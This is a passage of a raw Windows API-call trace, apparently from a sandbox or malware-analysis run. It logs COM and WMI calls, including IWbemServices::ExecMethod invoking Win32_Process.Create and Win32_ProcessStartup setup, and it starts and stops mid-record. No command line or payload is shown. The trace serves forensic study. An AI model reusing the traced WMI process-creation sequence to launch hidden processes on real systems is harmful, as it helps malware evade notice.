WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351ec0, puCount=0x1b10da38 | out: puCount=0x1b10da38*=0x2) returned 0x0 [0127.950] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10da30*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da30*=0xf, pszText=0x0) returned 0x0 [0127.950] WbemDefPath:IWbemPath:GetText (in: This=0x351ec0, lFlags=4, puBuffLength=0x1b10da30*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.950] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0127.950] WbemLocator:IUnknown:AddRef (This=0x1b3bf138) returned 0x3 [0127.950] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x1b3bf138) returned 0x0 [0127.951] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x3 [0127.951] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x2 [0127.951] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0127.951] WbemLocator:IUnknown:AddRef (This=0x1b3bf138) returned 0x3 [0127.951] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3bf138, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x1b3bf138) returned 0x0 [0127.951] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x3 [0127.951] WbemLocator:IUnknown:Release (This=0x1b3bf138) returned 0x2 [0127.951] WbemDefPath:IWbemPath:GetText (in: This=0x3524c0, lFlags=2, puBuffLength=0x1b10db00*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db00*=0xe, pszText=0x0) returned 0x0 [0127.951] WbemDefPath:IWbemPath:GetText (in: This=0x3524c0, lFlags=2, puBuffLength=0x1b10db00*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db00*=0xe, pszText="Win32_Process") returned 0x0 [0127.952] IWbemServices:ExecMethod (in: This=0x1b403120, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b3dde30, ppOutParams=0x1b10da70*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b10da70*=0x1b432c20, ppCallResult=0x0) returned 0x0 [0128.130] IWbemClassObject:Get (in: This=0x1b432c20, wszName="ProcessId", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c5100*=0, plFlavor=0x29c5104*=0 | out: pVal=0x1b10da60*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12cc, varVal2=0x0), pType=0x29c5100*=19, plFlavor=0x29c5104*=0) returned 0x0 [0128.255] IWbemClassObject:Get (in: This=0x1b432c20, wszName="ProcessId", lFlags=0, pVal=0x1b10da70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29c5100*=19, plFlavor=0x29c5104*=0 | out: pVal=0x1b10da70*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12cc, varVal2=0x0), pType=0x29c5100*=19, plFlavor=0x29c5104*=0) returned 0x0 [0128.392] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0128.393] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0128.393] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0128.393] IUnknown:Release (This=0x3111d8) returned 0x1 [0128.395] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x2f14c0) returned 0x0 [0128.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x2f14c0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0128.395] WbemDefPath:IClassFactory:CreateInstance (in: This=0x2f14c0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x352580) returned 0x0 [0128.395] WbemDefPath:IUnknown:Release (This=0x2f14c0) returned 0x0 [0128.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x352580) returned 0x0 [0128.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0128.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0128.396] WbemDefPath:IUnknown:AddRef (This=0x352580) returned 0x3 [0128.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0128.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0128.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b4334d0) returned 0x0 [0128.397] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4334d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.397] WbemDefPath:IUnknown:Release (This=0x1b4334d0) returned 0x3 [0128.397] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0128.398] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0128.398] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0128.400] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x2 [0128.400] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x1 [0128.401] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0128.401] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0128.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x352580, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x352580) returned 0x0 [0128.401] WbemDefPath:IUnknown:AddRef (This=0x352580) returned 0x3 [0128.401] WbemDefPath:IUnknown:Release (This=0x352580) returned 0x2 [0128.401] WbemDefPath:IWbemPath:SetText (This=0x352580, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0128.401] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0128.401] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0xe, pszText=0x0) returned 0x0 [0128.401] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10db40*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db40*=0xe, pszText="Win32_Process") returned 0x0 [0128.401] WbemDefPath:IWbemPath:GetInfo (in: This=0x352580, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0128.401] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352580, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0128.402] WbemDefPath:IWbemPath:GetInfo (in: This=0x352580, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0128.402] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10daf8 | out: ppv=0x1b10daf8*=0x3111d8) returned 0x0 [0128.402] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10dae8 | out: pAptType=0x1b10dae8*=1) returned 0x0 [0128.402] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10daf0 | out: ppvObject=0x1b10daf0*=0x0) returned 0x80004002 [0128.402] IUnknown:Release (This=0x3111d8) returned 0x1 [0128.403] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cee8 | out: ppv=0x1b10cee8*=0x1b4333d0) returned 0x0 [0128.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4333d0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cfd0 | out: ppvObject=0x1b10cfd0*=0x0) returned 0x80004002 [0128.403] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4333d0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa8 | out: ppvObject=0x1b10cfa8*=0x352c40) returned 0x0 [0128.404] WbemDefPath:IUnknown:Release (This=0x1b4333d0) returned 0x0 [0128.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd50 | out: ppvObject=0x1b10cd50*=0x352c40) returned 0x0 [0128.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cde0 | out: ppvObject=0x1b10cde0*=0x0) returned 0x80004002 [0128.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c5d8 | out: ppvObject=0x1b10c5d8*=0x0) returned 0x80004002 [0128.404] WbemDefPath:IUnknown:AddRef (This=0x352c40) returned 0x3 [0128.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0128.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c420 | out: ppvObject=0x1b10c420*=0x0) returned 0x80004002 [0128.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c410 | out: ppvObject=0x1b10c410*=0x1b433690) returned 0x0 [0128.405] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433690, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c438 | out: pCid=0x1b10c438*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.405] WbemDefPath:IUnknown:Release (This=0x1b433690) returned 0x3 [0128.405] CoGetContextToken (in: pToken=0x1b10c4c0 | out: pToken=0x1b10c4c0) returned 0x0 [0128.405] CoGetContextToken (in: pToken=0x1b10c940 | out: pToken=0x1b10c940) returned 0x0 [0128.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ca00 | out: ppvObject=0x1b10ca00*=0x0) returned 0x80004002 [0128.405] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x2 [0128.405] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x1 [0128.405] CoGetContextToken (in: pToken=0x1b10d730 | out: pToken=0x1b10d730) returned 0x0 [0128.405] CoGetContextToken (in: pToken=0x1b10d630 | out: pToken=0x1b10d630) returned 0x0 [0128.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x352c40, riid=0x1b10d790*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d760 | out: ppvObject=0x1b10d760*=0x352c40) returned 0x0 [0128.406] WbemDefPath:IUnknown:AddRef (This=0x352c40) returned 0x3 [0128.406] WbemDefPath:IUnknown:Release (This=0x352c40) returned 0x2 [0128.406] WbemDefPath:IWbemPath:SetText (This=0x352c40, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10db40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db40*=0x15, pszText=0x0) returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetText (in: This=0x352c40, lFlags=2, puBuffLength=0x1b10db40*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b10db40*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetInfo (in: This=0x352c40, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10db48 | out: puCount=0x1b10db48*=0x0) returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetInfo (in: This=0x352c40, uRequestedInfo=0x0, puResponse=0x1b10db60 | out: puResponse=0x1b10db60*=0xc15) returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352c40, puCount=0x1b10daa8 | out: puCount=0x1b10daa8*=0x0) returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10da68 | out: puCount=0x1b10da68*=0x2) returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da60*=0xf, pszText=0x0) returned 0x0 [0128.406] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10da60*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da60*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.406] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0128.407] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0128.407] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0128.407] IUnknown:Release (This=0x3111d8) returned 0x1 [0128.408] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cda8 | out: ppv=0x1b10cda8*=0x1b433490) returned 0x0 [0128.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433490, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce90 | out: ppvObject=0x1b10ce90*=0x0) returned 0x80004002 [0128.408] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433490, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10ce68 | out: ppvObject=0x1b10ce68*=0x351080) returned 0x0 [0128.408] WbemDefPath:IUnknown:Release (This=0x1b433490) returned 0x0 [0128.408] WbemDefPath:IUnknown:QueryInterface (in: This=0x351080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x351080) returned 0x0 [0128.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x351080, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cca0 | out: ppvObject=0x1b10cca0*=0x0) returned 0x80004002 [0128.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x351080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c498 | out: ppvObject=0x1b10c498*=0x0) returned 0x80004002 [0128.409] WbemDefPath:IUnknown:AddRef (This=0x351080) returned 0x3 [0128.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x351080, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c358 | out: ppvObject=0x1b10c358*=0x0) returned 0x80004002 [0128.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x351080, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c2e0 | out: ppvObject=0x1b10c2e0*=0x0) returned 0x80004002 [0128.409] WbemDefPath:IUnknown:QueryInterface (in: This=0x351080, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c2d0 | out: ppvObject=0x1b10c2d0*=0x1b432f50) returned 0x0 [0128.409] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b432f50, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c2f8 | out: pCid=0x1b10c2f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.410] WbemDefPath:IUnknown:Release (This=0x1b432f50) returned 0x3 [0128.410] CoGetContextToken (in: pToken=0x1b10c380 | out: pToken=0x1b10c380) returned 0x0 [0128.410] CoGetContextToken (in: pToken=0x1b10c800 | out: pToken=0x1b10c800) returned 0x0 [0128.410] WbemDefPath:IUnknown:QueryInterface (in: This=0x351080, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c8c0 | out: ppvObject=0x1b10c8c0*=0x0) returned 0x80004002 [0128.410] WbemDefPath:IUnknown:Release (This=0x351080) returned 0x2 [0128.410] WbemDefPath:IUnknown:Release (This=0x351080) returned 0x1 [0128.410] CoGetContextToken (in: pToken=0x1b10d5f0 | out: pToken=0x1b10d5f0) returned 0x0 [0128.410] CoGetContextToken (in: pToken=0x1b10d4f0 | out: pToken=0x1b10d4f0) returned 0x0 [0128.410] WbemDefPath:IUnknown:QueryInterface (in: This=0x351080, riid=0x1b10d650*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d620 | out: ppvObject=0x1b10d620*=0x351080) returned 0x0 [0128.411] WbemDefPath:IUnknown:AddRef (This=0x351080) returned 0x3 [0128.411] WbemDefPath:IUnknown:Release (This=0x351080) returned 0x2 [0128.411] WbemDefPath:IWbemPath:SetText (This=0x351080, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0128.411] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351080, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0128.411] WbemDefPath:IWbemPath:GetText (in: This=0x351080, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0128.411] WbemDefPath:IWbemPath:GetText (in: This=0x351080, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.411] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10da48 | out: ppv=0x1b10da48*=0x3111d8) returned 0x0 [0128.411] IComThreadingInfo:GetCurrentApartmentType (in: 